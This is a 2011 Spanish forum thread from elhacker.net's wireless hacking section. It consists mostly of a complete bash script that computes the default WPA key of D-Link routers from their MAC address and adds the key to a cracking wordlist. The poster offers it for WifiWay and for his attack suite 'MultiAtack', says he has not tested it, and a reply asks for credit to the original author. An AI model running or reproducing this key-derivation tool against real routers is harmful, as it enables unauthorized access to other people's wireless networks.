elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Introducción a la Factorización De Semiprimos (RSA)


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Hacking Wireless
| | |-+  Wireless en Linux
| | | |-+  Dlinkpasswordremind.sh (Recupera la clave por defecto de los router Dlink)
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: Dlinkpasswordremind.sh (Recupera la clave por defecto de los router Dlink)  (Leído 2,928 veces)
m.k.

Desconectado Desconectado

Mensajes: 83



Ver Perfil
Dlinkpasswordremind.sh (Recupera la clave por defecto de los router Dlink)
« en: 1 Enero 2011, 18:05 pm »

Recupera la clave por defecto de los router Dlink


Surfeando por la red me he encontrado con un proyecto que recupera las claves por defecto de los Routers Dlink.

http://code.google.com/p/dlinkpasswordreminder/

Me ha parecido interesante y se me ha ocurrido hacer este Script para WifiWay.

Yo personalmente no lo he podido probar con ninguna red.
Si alguien lo puede probar y funciona que lo postee.
(así lo implementaré en futuras versiones de MultiAtack)

-- Igual he hecho el tonto un rato...!!!




Código
  1. #!/bin/bash
  2.  
  3.  
  4.  
  5. ##############################################################################
  6. # Programa: dlinkpassremind.sh
  7. # Autor: M.K. Maese Kamara para Seguridad Wireless y elhacker
  8. #
  9. # Basado en DlinkPasswordReminder.1.0.1, coded by Buterrip
  10. #               http://code.google.com/p/dlinkpasswordreminder
  11. #  
  12. #
  13. ##############################################################################
  14.  
  15. dlink_MAC=`echo $1`
  16. cla=""
  17. p=1
  18.  
  19. function errormac {
  20. clear
  21. echo ""
  22. echo "La MAC $dlink_MAC es invalida. Revisela..."
  23. exit
  24. }
  25.  
  26. # Comprobar longitud de la MAC escrita
  27. if [ ${#dlink_MAC} != 17 ]; then
  28. clear
  29. echo ""
  30. echo "longitud de MAC invalida. Revisela..."
  31. exit
  32. fi
  33.  
  34. while [ $p -le 17 ]; do
  35.  
  36. #leer caracteres de la mMAC
  37. mac=`echo $dlink_MAC|cut  -b $p`
  38.  
  39. puntos[$p]=$mac
  40.  
  41. # Convertir caracteres en minisculas a mayusculas
  42. if [ $mac = "a" ]; then
  43. mac="A"
  44. fi
  45. if [ $mac = "b" ]; then
  46. mac="B"
  47. fi
  48. if [ $mac = "c" ]; then
  49. mac="C"
  50. fi
  51. if [ $mac = "d" ]; then
  52. mac="D"
  53. fi
  54. if [ $mac = "e" ]; then
  55. mac="E"
  56. fi
  57. if [ $mac = "f" ]; then
  58. mac="F"
  59. fi
  60.  
  61. # Asignar valores según caracter de la mac
  62. if [ $mac = "0" ]; then
  63. cla[$p]="X"
  64. fi
  65. if [ $mac = "1" ]; then
  66. cla[$p]="r"
  67. fi
  68. if [ $mac = "2" ]; then
  69. cla[$p]="q"
  70. fi
  71. if [ $mac = "3" ]; then
  72. cla[$p]="a"
  73. fi
  74. if [ $mac = "4" ]; then
  75. cla[$p]="H"
  76. fi
  77. if [ $mac = "5" ]; then
  78. cla[$p]="N"
  79. fi
  80. if [ $mac = "6" ]; then
  81. cla[$p]="p"
  82. fi
  83. if [ $mac = "7" ]; then
  84. cla[$p]="d"
  85. fi
  86. if [ $mac = "8" ]; then
  87. cla[$p]="S"
  88. fi
  89. if [ $mac = "9" ]; then
  90. cla[$p]="y"
  91. fi
  92. if [ $mac = "A" ]; then
  93. cla[$p]="w"
  94. fi
  95. if [ $mac = "B" ]; then
  96. cla[$p]="8"
  97. fi
  98. if [ $mac = "C" ]; then
  99. cla[$p]="6"
  100. fi
  101. if [ $mac = "D" ]; then
  102. cla[$p]="2"
  103. fi
  104. if [ $mac = "E" ]; then
  105. cla[$p]="1"
  106. fi
  107. if [ $mac = "F" ]; then
  108. cla[$p]="5"
  109. fi
  110. p=$(($p+1))
  111. done
  112.  
  113.  
  114. key=${cla[17]}${cla[1]}${cla[16]}${cla[2]}${cla[14]}${cla[4]}${cla[13]}${cla[5]}${cla[11]}${cla[7]}${cla[10]}${cla[8]}${cla[2]}${cla[10]}${cla[13]}${cla[14]}${cla[17]}${cla[4]}${cla[7]}${cla[16]}
  115.  
  116. #comprobar si MAC introducida es correcta
  117. if [ ${puntos[3]} != ":" ]; then
  118. errormac
  119. fi
  120. if [ ${puntos[6]} != ":" ]; then
  121. errormac
  122. fi
  123. if [ ${puntos[9]} != ":" ]; then
  124. errormac
  125. fi
  126. if [ ${puntos[12]} != ":" ]; then
  127. errormac
  128. fi
  129. if [ ${puntos[15]} != ":" ]; then
  130. errormac
  131. fi
  132. if [ ${#key} != 20 ]; then
  133. errormac
  134. fi
  135.  
  136. clear
  137.  
  138. echo "Script basado en DlinkPasswordReminder.1.0.1 original de Buterrip"
  139. echo ""
  140. echo "Key por defecto para"
  141. echo "Dlink con MAC $dlink_MAC"
  142. echo ""
  143. echo $key
  144. echo "--------------------"
  145. echo "Se ha guardado en el fichero"
  146. echo "/root/swireless/wordlist/KeyDlink_$dlink_MAC"
  147. echo ""
  148. echo " Saludos desde SeguridadWireless.net y elhacker.net"
  149. echo ""
  150. echo $key >> /root/swireless/wordlist/KeyDlink_$dlink_MAC
  151.  
  152. #end
  153.  


Descarga:
http://www.multiupload.com/57RIJSO208

Feliz 2011

« Última modificación: 2 Enero 2011, 12:38 pm por m.k. » En línea



El conocimiento es poder. No malgastes ni un sólo día: aprende, aprende, aprende...  (Lucifer48)
longits
LT-23
Colaborador
***
Desconectado Desconectado

Mensajes: 2.153


LT-23


Ver Perfil
Re: Dlinkpasswordremind.sh (Recupera la clave por defecto de los router Dlink)
« Respuesta #1 en: 2 Enero 2011, 11:34 am »

Me parece bien, gracias...pero al menos deberías mencionar créditos al autor original, que no eres tú.

Saludos.
En línea

Por favor, usa topics descriptivos.
Por favor, cuida un poco la ortografía.

Por favor, un mínimo de inteligencia emocional.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines